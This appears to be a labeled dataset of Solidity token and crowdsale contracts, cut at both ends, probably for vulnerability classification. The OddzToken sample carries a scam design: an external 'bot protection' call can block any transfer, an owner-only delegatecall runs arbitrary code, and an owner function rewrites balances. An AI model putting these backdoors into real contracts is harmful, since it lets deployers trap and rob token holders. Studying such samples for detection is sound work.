string public name;
uint8 public decimals;
string public symbol;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function WORLD() public {
balances[msg.sender] = 10000000000000;
totalSupply = 10000000000000;
name = "World Token";
decimals =4;
symbol = "WORLD";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,723 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract OddzToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "OddzToken";
string public symbol = "ODDZ";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,049 |
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract AllocatedCrowdsaleMixin is CrowdsaleBase {
address public beneficiary;
function AllocatedCrowdsaleMixin(address _beneficiary) {
beneficiary = _beneficiary;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public constant returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public constant returns (uint) {
return token.allowance(owner, this);
}
function assignTokens(address receiver, uint tokenAmount) internal {
if(!token.transferFrom(beneficiary, receiver, tokenAmount)) throw;
}
}
contract Crowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
contract AllocatedCrowdsale is AllocatedCrowdsaleMixin, Crowdsale {
function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) AllocatedCrowdsaleMixin(_beneficiary) {
}
} | 1 | 3,643 |
pragma solidity >=0.4.22 <0.6.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract IEcoin is Ownable, SafeMath, IERC20{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balanceOf[msg.sender] = 100000000000000000000000000;
totalSupply = 100000000000000000000000000;
name = "IEcoin";
symbol = "IE";
decimals = 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0));
require (_value > 0);
require (balanceOf[_from] >= _value) ;
require (balanceOf[_to] + _value > balanceOf[_to]);
require (_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 1 | 4,336 |
pragma solidity ^0.4.4;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Token {
function totalSupply() public constant returns (uint256 supply) {}
function balanceOf(address _owner) public constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) public returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
function approve(address _spender, uint256 _value) public returns (bool success) {}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract StandardToken is Token, SafeMath {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(_from, _value);
return true;
}
}
contract CryptonCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
address public fundsWallet;
address public contractAddress;
uint256 public preIcoSupply;
uint256 public preIcoTotalSupply;
uint256 public IcoSupply;
uint256 public IcoTotalSupply;
uint256 public maxSupply;
uint256 public totalSupply;
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
bool public ico_finish;
bool public token_was_created;
uint256 public preIcoFinishTimestamp;
uint256 public fundingEndTime;
uint256 public finalTokensIssueTime;
function CryptonCoin() public {
fundsWallet = msg.sender;
name = "CRYPTON";
symbol = "CRN";
decimals = 18;
balances[fundsWallet] = 0;
totalSupply = 0;
preIcoTotalSupply = 14400000000000000000000000;
IcoTotalSupply = 36000000000000000000000000;
maxSupply = 72000000000000000000000000;
unitsOneEthCanBuy = 377;
preIcoFinishTimestamp = 1524785992;
fundingEndTime = 1528587592;
finalTokensIssueTime = 1577921992;
contractAddress = address(this);
}
function() public payable {
require(!ico_finish);
require(block.timestamp < fundingEndTime);
require(msg.value != 0);
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = 0;
uint256 tokenPrice = unitsOneEthCanBuy;
if (block.timestamp < preIcoFinishTimestamp) {
require(msg.value * tokenPrice * 13 / 10 <= (preIcoTotalSupply - preIcoSupply));
tokenPrice = safeMul(tokenPrice,13);
tokenPrice = safeDiv(tokenPrice,10);
amount = safeMul(msg.value,tokenPrice);
preIcoSupply = safeAdd(preIcoSupply,amount);
balances[msg.sender] = safeAdd(balances[msg.sender],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, msg.sender, amount);
} else {
require(msg.value * tokenPrice <= (IcoTotalSupply - IcoSupply));
amount = safeMul(msg.value,tokenPrice);
IcoSupply = safeAdd(IcoSupply,amount);
balances[msg.sender] = safeAdd(balances[msg.sender],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, msg.sender, amount);
}
}
function withdraw() public {
require(msg.sender == fundsWallet);
fundsWallet.transfer(contractAddress.balance);
}
function createTokensForCrypton() public returns (bool success) {
require(ico_finish);
require(!token_was_created);
if (block.timestamp > finalTokensIssueTime) {
uint256 amount = safeAdd(preIcoSupply, IcoSupply);
amount = safeMul(amount,3);
amount = safeDiv(amount,10);
balances[fundsWallet] = safeAdd(balances[fundsWallet],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, fundsWallet, amount);
token_was_created = true;
return true;
}
}
function stopIco() public returns (bool success) {
if (block.timestamp > fundingEndTime) {
ico_finish = true;
return true;
}
}
function setTokenPrice(uint256 _value) public returns (bool success) {
require(msg.sender == fundsWallet);
require(_value < 1500);
unitsOneEthCanBuy = _value;
return true;
}
} | 0 | 623 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
